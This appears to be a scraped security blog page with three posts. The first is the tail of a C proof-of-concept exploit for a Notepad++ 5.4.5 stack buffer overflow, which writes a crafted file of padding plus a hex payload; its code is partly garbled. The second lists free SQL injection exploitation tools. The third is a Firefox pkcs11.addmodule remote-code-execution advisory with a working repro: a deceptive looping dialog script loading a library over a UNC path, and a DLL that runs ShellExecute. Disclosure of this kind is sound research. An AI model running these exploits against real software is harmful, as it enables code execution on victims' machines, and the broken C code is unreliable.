    0×65, 0×78, 0×69, 0×74, 0×28, 0x2D, 0×31, 0×29, 0x3B, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20,
    0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x7D, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0x0D,
    0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×46, 0×62, 0×75, 0×69, 0x6C, 0×64, 0×28, 0×66,
    0x6E, 0×61, 0x6D, 0×65, 0×29, 0x3B, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×20, 0×72,
    0×65, 0×74, 0×75, 0×72, 0x6E, 0×20, 0×30, 0x3B, 0×20, 0x0D, 0x0A, 0×20, 0×20, 0×20, 0×20, 0×20,
    0x7D, 0×20, 0×20, 0x0D, 0x0A,
    } ;
     size_t get_executable_path (char* buffer, size_t len)
    {
    char* path_end;
    if (readlink ("/proc/self/exe", buffer, len) <= 0)
    return -1;
    path_end = strrchr (buffer, ‘/’);
    if (path_end == NULL)
    return -1;
    ++path_end;
    *path_end = ”;
    return (size_t) (path_end – buffer);
    }
    #define STRING_SIZE 0xF4240
    #define S           0×64
    char b[STRING_SIZE];
    memset(b, 0×41, STRING_SIZE);
    FILE *f;
    f = fopen(fname, "wb");
    int i;
    for(i = 0; i < S; i++) {
    fwrite(b, sizeof(char), STRING_SIZE, f); }
    fwrite(V, sizeof(char), strlen(V), f);
    checksum(b, STRING_SIZE);
    char c[100];
    get_executable_path (c, 100);
    printf("FILE DONE !\n");
    printf("path/location of the crafted file is: %s\n", c);
    fclose(f);
    } 
    void args(int argc, char *argv[])
    {
    int file;
    int a;
    if(a)
    while((a = getopt(argc, argv, "f")) != EOF) {
    switch(a)                                     {
    case ‘f’:
    file = (int)optarg;
    break;
    default:
    exit(-1);
                                                   }
                                                     }
                                                   }
   void Usage(char *argv[])
   { printf("*************************************************\n");
     printf("Notepad++ 5.4.5 Stack Buffer Overflow\n");
     printf("Usage is:%s [option1] filename\n", argv[0]);
     printf("CREDITS:fl0 fl0w\n");
     printf("This POC is PRIVATE\n");
     printf("*************************************************\n");
   }
   void Menu(char *argv[])
   { fprintf(stderr,
    "\n"
    "\t-f       FILE.c/cpp\n"
    "\n"
    ,
    argv[0]);
    exit(-1);
   }       
    int main(int argc, char *argv[])
    { CLS(15);
    if(argc < 2) {
    Usage(argv);            
    printf("Example:\n");
    Menu(argv[0]);          
    Usage(argv);       
                 }
    args(argc, argv);                
    Buildfile(argv[2]);
    return 0;  
    }

Tagged with: • •
Sep 15

Top 15 Free SQL Injection Scanners

By jason Security Tools 7 Comments »

While the adoption of web applications for conducting online business has enabled companies to connect seamlessly with their customers, it has also exposed a number of security concerns stemming from improper coding. Vulnerabilities in web applications allow hackers to gain direct and public access to sensitive information (e.g. personal data, login credentials).
Web applications allow visitors to submit and retrieve data to/from a database over the Internet. Databases are the heart of most web applications. They hold data needed for web applications to deliver specific content to visitors and provide information to customers, suppliers etc.
SQL Injection is perhaps the most common web-application hacking technique which attempts to pass SQL commands through a web application for execution by the back-end database. The vulnerability is presented when user input is incorrectly sanitized and thereby executed.
Checking for SQL Injection vulnerabilities involves auditing your web applications and the best way to do it is by using automated SQL Injection Scanners. We’ve compiled a list of free SQL Injection Scanners we believe will be of a value to both web application developers and professional security auditors.

1、SQLIer – SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all.
Get SQLIer.

2、SQLbftools – SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack.
Get SQLbftools.

3、SQL Injection Brute-forcer – SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application.
Get SQLLibf.

4、SQLBrute – SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries.
Get SQLBrute.

5、BobCat – BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to.
Get BobCat.

6、SQLMap – SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.
Get SQLMap.

7、Absinthe – Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection.
Get Absinthe.

8、SQL Injection Pen-testing Tool – The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications.
Get SQL Injection Pen-testing tool.

9、SQID – SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities.
Get SQID.

10、Blind SQL Injection Perl Tool – bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection.
Get Blind SQL Injection Perl Tool.

11、SQL Power Injection – SQL Power Injection helps the penetration tester to inject SQL commands on a web page. It’s main strength is its capacity to automate tedious blind SQL injection with several threads.
Get SQL Power Injection.

12、FJ-Injector Framwork – FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in web applications. It includes a proxy feature for intercepting and modifying HTTP requests, and an interface for automating SQL injection exploitation.
Get FJ-Injector Framework.

13、SQLNinja – SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end database. Get SQLNinja.

14、Automagic SQL Injector – The Automagic SQL Injector is an automated SQL injection tool designed to help save time on penetration testing. It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned.
Get Automagic SQL Injector.

15、NGSS SQL Injector – NGSS SQL Injector exploit vulnerabilities in SQL injection on disparate database servers to gain access to stored data. It currently supports the following databases: Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase.
Get NGSS SQL Injector

Tagged with: •
Sep 14

Mozilla Firefox < 3.0.14 Multiplatform RCE via pkcs11.addmodule

By jason Security Tools 8 Comments »

Fix announce:   http://www.mozilla.org/security/announce/2009/mfsa2009-48.html
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628

So, Firefox up through 3.0.13 had an obscure little function under window.pkcs11:

long                      addmodule(in DOMString moduleName,
                                     in DOMString libraryFullPath,
                                     in long cryptoMechanismFlags,
                                     in long cipherFlags);

Yes, that’s actually the full path to a DLL — or an .so on Linux/OSX —
from a JS function that’s exposed to the web.

Attacker doesn’t get zero click install — there’s a dialog — but:

1) Attacker does get to customize the dialog via moduleName
2) The dialog is modal, so the user doesn’t get access to Firefox again
until they hit OK (can’t even close Firefox)
3) On Windows, he can put a UNC path in for the Library path.  There’s
probably similar on OSX and some Linux distros.  Even without, there’s
usually a way to get a file in a known location — see John Heasman’s
Java work.

LoadLibrary of Attacker library on OK.

Repro:

<body>
<script>

  var str = "Error detected in Firefox Module NSP31337.bin.\n" +
           "Please click ‘OK’ to repair."

  ret=-2;
  while(ret!=-5){
     ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n", "\\\\127.0.0.1\\c$\\
pkunkcs", 0, 0);
  }

</script>

"Shellcode" is just a DLL with ShellExecute in the constructor:

CpkunkcsApp::CpkunkcsApp()
{

    char *str = "c:\\windows\\system32\\calc.exe";
    wchar_t *wText;
    size_t len;
    len = strlen(str)+1;

    wText = new wchar_t[strlen(str)];
    memset(wText, 0, len * sizeof(wchar_t));

    ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

    ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);

}

Cheers to Jesse Ruderman, who recognized this was probably not the
greatest of API’s some time ago.  The bug history is worth taking a look
at…goes back a while.  They missed the UNC path vector, and appear to
have underestimated the modal dialog.

Tagged with: •
Previous Entries
preload preload preload